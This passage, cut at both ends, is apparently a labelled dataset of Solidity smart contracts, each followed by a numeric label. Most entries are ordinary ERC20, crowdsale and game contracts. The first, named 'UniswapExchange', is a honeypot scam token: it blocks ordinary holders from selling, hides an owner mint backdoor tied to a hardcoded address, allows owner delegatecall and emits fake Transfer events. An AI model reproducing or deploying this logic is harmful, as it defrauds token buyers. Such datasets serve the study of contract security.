overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
345
contract Emailer { address owner; event Sent(address from, uint256 price, string to, string body); function Emailer() { owner = msg.sender; } function kill() { suicide(owner); } function withdraw(uint256 _amount){ owner.send(_amount); } function SendEmail(string _Recipient, string _Message) { Sent(msg.sender, msg.value, _Recipient, _Message); } }
0
814
pragma solidity ^0.4.18; contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract VietnamToken is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; function VietnamToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1
3,205
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract VANMToken is ERC20, Ownable { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) internal allowed; uint256 public presaleSupply; address public presaleAddress; uint256 public crowdsaleSupply; address public crowdsaleAddress; uint256 public platformSupply; address public platformAddress; uint256 public incentivisingSupply; address public incentivisingAddress; uint256 public teamSupply; address public teamAddress; uint256 public crowdsaleEndsAt; uint256 public teamVestingPeriod; bool public presaleFinalized = false; bool public crowdsaleFinalized = false; modifier onlyPresale() { require(msg.sender == presaleAddress); _; } modifier onlyCrowdsale() { require(msg.sender == crowdsaleAddress); _; } modifier notBeforeCrowdsaleEnds(){ require(block.timestamp >= crowdsaleEndsAt); _; } modifier checkTeamVestingPeriod() { require(block.timestamp >= teamVestingPeriod); _; } event PresaleFinalized(uint tokensRemaining); event CrowdsaleFinalized(uint tokensRemaining); constructor() public { symbol = "VANM"; name = "VANM"; decimals = 18; _totalSupply = 240000000 * 10**uint256(decimals); presaleSupply = 24000000 * 10**uint256(decimals); crowdsaleSupply = 120000000 * 10**uint256(decimals); platformSupply = 24000000 * 10**uint256(decimals); incentivisingSupply = 48000000 * 10**uint256(decimals); teamSupply = 24000000 * 10**uint256(decimals); platformAddress = 0x6962371D5a9A229C735D936df5CE6C690e66b718; teamAddress = 0xB9e54846da59C27eFFf06C3C08D5d108CF81FEae; crowdsaleEndsAt = 1556668800; teamVestingPeriod = crowdsaleEndsAt.add(2 * 365 * 1 days); balances[platformAddress] = platformSupply; emit Transfer(0x0, platformAddress, platformSupply); balances[incentivisingAddress] = incentivisingSupply; } function setPresaleAddress(address _presaleAddress) external onlyOwner { require(presaleAddress == 0x0); presaleAddress = _presaleAddress; balances[_presaleAddress] = balances[_presaleAddress].add(presaleSupply); } function finalizePresale() external onlyPresale { require(presaleFinalized == false); uint256 amount = balanceOf(presaleAddress); if (amount > 0) { balances[presaleAddress] = 0; balances[crowdsaleAddress] = balances[crowdsaleAddress].add(amount); } presaleFinalized = true; emit PresaleFinalized(amount); } function setCrowdsaleAddress(address _crowdsaleAddress) external onlyOwner { require(presaleAddress != 0x0); require(crowdsaleAddress == 0x0); crowdsaleAddress = _crowdsaleAddress; balances[_crowdsaleAddress] = balances[_crowdsaleAddress].add(crowdsaleSupply); } function finalizeCrowdsale() external onlyCrowdsale { require(presaleFinalized == true && crowdsaleFinalized == false); uint256 amount = balanceOf(crowdsaleAddress); if (amount > 0) { balances[crowdsaleAddress] = 0; balances[platformAddress] = balances[platformAddress].add(amount); emit Transfer(0x0, platformAddress, amount); } crowdsaleFinalized = true; emit CrowdsaleFinalized(amount); } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public notBeforeCrowdsaleEnds returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public notBeforeCrowdsaleEnds returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function transferFromIncentivising(address _to, uint256 _value) public onlyOwner returns (bool) { require(_value <= balances[incentivisingAddress]); balances[incentivisingAddress] = balances[incentivisingAddress].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(0x0, _to, _value); return true; } function transferFromPresale(address _to, uint256 _value) public onlyPresale returns (bool) { require(_value <= balances[presaleAddress]); balances[presaleAddress] = balances[presaleAddress].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(0x0, _to, _value); return true; } function transferFromCrowdsale(address _to, uint256 _value) public onlyCrowdsale returns (bool) { require(_value <= balances[crowdsaleAddress]); balances[crowdsaleAddress] = balances[crowdsaleAddress].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(0x0, _to, _value); return true; } function releaseTeamTokens() public checkTeamVestingPeriod onlyOwner returns(bool) { require(teamSupply > 0); balances[teamAddress] = teamSupply; emit Transfer(0x0, teamAddress, teamSupply); teamSupply = 0; return true; } function checkIncentivisingBalance() public view returns (uint256) { return balances[incentivisingAddress]; } function checkPresaleBalance() public view returns (uint256) { return balances[presaleAddress]; } function checkCrowdsaleBalance() public view returns (uint256) { return balances[crowdsaleAddress]; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, tokens); } function () public payable { revert(); } } contract VANMPresale is Ownable { using SafeMath for uint256; uint256 public presaleStartsAt; uint256 public presaleEndsAt; uint256 public presaleRate; uint256 public weiRaised; address public presaleWallet; address public tokenAddress; VANMToken public token; mapping(address => bool) public whitelist; modifier whilePresale { require(block.timestamp >= presaleStartsAt && block.timestamp <= presaleEndsAt); _; } modifier notBeforePresaleEnds { require(block.timestamp > presaleEndsAt); _; } modifier isWhitelisted(address _to) { require(whitelist[_to]); _; } event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); event AmountRaised(address beneficiary, uint amountRaised); event WalletChanged(address _wallet); constructor() public { presaleStartsAt = 1542412800; presaleEndsAt = 1546214400; presaleRate = 2600; weiRaised = 0; presaleWallet = 0xedaFdA45fedcCE4D2b81e173F1D2F21557E97aA5; tokenAddress = 0x0d155aaa5C94086bCe0Ad0167EE4D55185F02943; token = VANMToken(tokenAddress); } function addToWhitelist(address _to) external onlyOwner { whitelist[_to] = true; } function addManyToWhitelist(address[] _to) external onlyOwner { for (uint256 i = 0; i < _to.length; i++) { whitelist[_to[i]] = true; } } function removeFromWhitelist(address _to) external onlyOwner { whitelist[_to] = false; } function removeManyFromWhitelist(address[] _to) external onlyOwner { for (uint256 i = 0; i < _to.length; i++) { whitelist[_to[i]] = false; } } function changeWallet(address _presaleWallet) external onlyOwner { presaleWallet = _presaleWallet; emit WalletChanged(_presaleWallet); } function closePresale() external notBeforePresaleEnds onlyOwner returns (bool) { emit AmountRaised(presaleWallet, weiRaised); token.finalizePresale(); return true; } function presaleHasClosed() public view returns (bool) { return block.timestamp > presaleEndsAt; } function () public payable { buyTokens(msg.sender); } function buyTokens(address _to) public whilePresale isWhitelisted (_to) payable { uint256 weiAmount = msg.value; uint256 tokens = weiAmount * presaleRate; weiRaised = weiRaised.add(weiAmount); presaleWallet.transfer(weiAmount); if (!token.transferFromPresale(_to, tokens)) { revert(); } emit TokenPurchase(_to, weiAmount, tokens); } function transferAnyERC20Token(address ERC20Address, uint tokens) public onlyOwner returns (bool success) { return ERC20(ERC20Address).transfer(owner, tokens); } }
1
4,625
pragma solidity ^0.4.16; interface token { function transfer(address receiver, uint amount); } contract Crowdsale { address public beneficiary; uint public fundingGoal; uint public amountRaised; uint public deadline; uint public price; token public tokenReward; mapping(address => uint256) public balanceOf; bool fundingGoalReached = false; bool crowdsaleClosed = false; event GoalReached(address recipient, uint totalAmountRaised); event FundTransfer(address backer, uint amount, bool isContribution); function Crowdsale( address ifSuccessfulSendTo, uint fundingGoalInEthers, uint durationInMinutes, uint etherCostOfEachToken, address addressOfTokenUsedAsReward ) { beneficiary = ifSuccessfulSendTo; fundingGoal = fundingGoalInEthers * 1 ether; deadline = now + durationInMinutes * 1 minutes; price = etherCostOfEachToken * 1 ether; tokenReward = token(addressOfTokenUsedAsReward); } function () payable { require(!crowdsaleClosed); uint amount = msg.value; balanceOf[msg.sender] += amount; amountRaised += amount; if(amount > 10 ether){ tokenReward.transfer(msg.sender, (amount / price) + ((amount / price)/2) + ((amount / price)/20)); } else{ tokenReward.transfer(msg.sender, (amount / price) + ((amount / price)/2)); } FundTransfer(msg.sender, amount, true); } function withdrawCoins() public{ if(msg.sender == beneficiary){ selfdestruct(beneficiary); } } modifier afterDeadline() { if (now >= deadline) _; } function checkGoalReached() afterDeadline { if (amountRaised >= fundingGoal){ fundingGoalReached = true; GoalReached(beneficiary, amountRaised); } crowdsaleClosed = true; } function safeWithdrawal() afterDeadline { if (!fundingGoalReached) { uint amount = balanceOf[msg.sender]; balanceOf[msg.sender] = 0; if (amount > 0) { if (msg.sender.send(amount)) { FundTransfer(msg.sender, amount, false); } else { balanceOf[msg.sender] = amount; } } } if (fundingGoalReached && beneficiary == msg.sender) { if (beneficiary.send(amountRaised)) { FundTransfer(beneficiary, amountRaised, false); } else { fundingGoalReached = false; } } } }
1
5,556
pragma solidity ^0.4.23; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = true; bool public pausedOwnerAdmin = false; address public admin; modifier whenNotPaused() { if (pausedPublic) { if (!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; emit PausePublic(newPausedPublic); emit PauseOwnerAdmin(newPausedOwnerAdmin); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract NiuNiuTestToken is PausableToken { string public name = "NiuNiuTestToken"; string public symbol = "NNTT"; uint32 public decimals = 18; uint32 public batchLimit = 1000; address owner = 0x0; uint256 public constant INITIAL_SUPPLY = 10000000000; constructor() public { owner = msg.sender; admin = owner; totalSupply = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply; } function batchTransfer(address[] _tos, uint256[] _values) public whenNotPaused returns (bool success) { require(_tos.length > 0); require(_values.length > 0); require(_tos.length == _values.length); require(_tos.length <= batchLimit); bool isAllSuccess = false; for (uint256 i = 0;i < _tos.length;i++) { isAllSuccess = super.transfer(_tos[i], _values[i]); require(isAllSuccess); } return isAllSuccess; } function setBatchLimit(uint32 _batchLimit) public onlyOwner { batchLimit = _batchLimit; } }
1
3,325
pragma solidity 0.4.24; contract Governable { event Pause(); event Unpause(); address public governor; bool public paused = false; constructor() public { governor = msg.sender; } function setGovernor(address _gov) public onlyGovernor { governor = _gov; } modifier onlyGovernor { require(msg.sender == governor); _; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyGovernor whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyGovernor whenPaused public { paused = false; emit Unpause(); } } contract CardBase is Governable { struct Card { uint16 proto; uint16 purity; } function getCard(uint id) public view returns (uint16 proto, uint16 purity) { Card memory card = cards[id]; return (card.proto, card.purity); } function getShine(uint16 purity) public pure returns (uint8) { return uint8(purity / 1000); } Card[] public cards; } contract CardProto is CardBase { event NewProtoCard( uint16 id, uint8 season, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ); struct Limit { uint64 limit; bool exists; } mapping(uint16 => Limit) public limits; function setLimit(uint16 id, uint64 limit) public onlyGovernor { Limit memory l = limits[id]; require(!l.exists); limits[id] = Limit({ limit: limit, exists: true }); } function getLimit(uint16 id) public view returns (uint64 limit, bool set) { Limit memory l = limits[id]; return (l.limit, l.exists); } mapping(uint8 => bool) public seasonTradable; mapping(uint8 => bool) public seasonTradabilityLocked; uint8 public currentSeason; function makeTradeable(uint8 season) public onlyGovernor { seasonTradable[season] = true; } function makeUntradable(uint8 season) public onlyGovernor { require(!seasonTradabilityLocked[season]); seasonTradable[season] = false; } function makePermanantlyTradable(uint8 season) public onlyGovernor { require(seasonTradable[season]); seasonTradabilityLocked[season] = true; } function isTradable(uint16 proto) public view returns (bool) { return seasonTradable[protos[proto].season]; } function nextSeason() public onlyGovernor { require(currentSeason <= 255); currentSeason++; mythic.length = 0; legendary.length = 0; epic.length = 0; rare.length = 0; common.length = 0; } enum Rarity { Common, Rare, Epic, Legendary, Mythic } uint8 constant SPELL = 1; uint8 constant MINION = 2; uint8 constant WEAPON = 3; uint8 constant HERO = 4; struct ProtoCard { bool exists; uint8 god; uint8 season; uint8 cardType; Rarity rarity; uint8 mana; uint8 attack; uint8 health; uint8 tribe; } uint16 public protoCount; mapping(uint16 => ProtoCard) protos; uint16[] public mythic; uint16[] public legendary; uint16[] public epic; uint16[] public rare; uint16[] public common; function addProtos( uint16[] externalIDs, uint8[] gods, Rarity[] rarities, uint8[] manas, uint8[] attacks, uint8[] healths, uint8[] cardTypes, uint8[] tribes, bool[] packable ) public onlyGovernor returns(uint16) { for (uint i = 0; i < externalIDs.length; i++) { ProtoCard memory card = ProtoCard({ exists: true, god: gods[i], season: currentSeason, cardType: cardTypes[i], rarity: rarities[i], mana: manas[i], attack: attacks[i], health: healths[i], tribe: tribes[i] }); _addProto(externalIDs[i], card, packable[i]); } } function addProto( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: cardType, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function addWeapon( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 durability, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: WEAPON, rarity: rarity, mana: mana, attack: attack, health: durability, tribe: 0 }); _addProto(externalID, card, packable); } function addSpell(uint16 externalID, uint8 god, Rarity rarity, uint8 mana, bool packable) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: SPELL, rarity: rarity, mana: mana, attack: 0, health: 0, tribe: 0 }); _addProto(externalID, card, packable); } function addMinion( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: MINION, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function _addProto(uint16 externalID, ProtoCard memory card, bool packable) internal { require(!protos[externalID].exists); card.exists = true; protos[externalID] = card; protoCount++; emit NewProtoCard( externalID, currentSeason, card.god, card.rarity, card.mana, card.attack, card.health, card.cardType, card.tribe, packable ); if (packable) { Rarity rarity = card.rarity; if (rarity == Rarity.Common) { common.push(externalID); } else if (rarity == Rarity.Rare) { rare.push(externalID); } else if (rarity == Rarity.Epic) { epic.push(externalID); } else if (rarity == Rarity.Legendary) { legendary.push(externalID); } else if (rarity == Rarity.Mythic) { mythic.push(externalID); } else { require(false); } } } function getProto(uint16 id) public view returns( bool exists, uint8 god, uint8 season, uint8 cardType, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) { ProtoCard memory proto = protos[id]; return ( proto.exists, proto.god, proto.season, proto.cardType, proto.rarity, proto.mana, proto.attack, proto.health, proto.tribe ); } function getRandomCard(Rarity rarity, uint16 random) public view returns (uint16) { if (rarity == Rarity.Common) { return common[random % common.length]; } else if (rarity == Rarity.Rare) { return rare[random % rare.length]; } else if (rarity == Rarity.Epic) { return epic[random % epic.length]; } else if (rarity == Rarity.Legendary) { return legendary[random % legendary.length]; } else if (rarity == Rarity.Mythic) { uint16 id; uint64 limit; bool set; for (uint i = 0; i < mythic.length; i++) { id = mythic[(random + i) % mythic.length]; (limit, set) = getLimit(id); if (set && limit > 0){ return id; } } return legendary[random % legendary.length]; } require(false); return 0; } function replaceProto( uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) public onlyGovernor { ProtoCard memory pc = protos[index]; require(!seasonTradable[pc.season]); protos[index] = ProtoCard({ exists: true, god: god, season: pc.season, cardType: cardType, rarity: pc.rarity, mana: mana, attack: attack, health: health, tribe: tribe }); } } interface ERC721Metadata { function name() external pure returns (string _name); function symbol() external pure returns (string _symbol); function tokenURI(uint256 _tokenId) external view returns (string); } interface ERC721Enumerable { function totalSupply() public view returns (uint256); function tokenByIndex(uint256 _index) external view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId); } interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 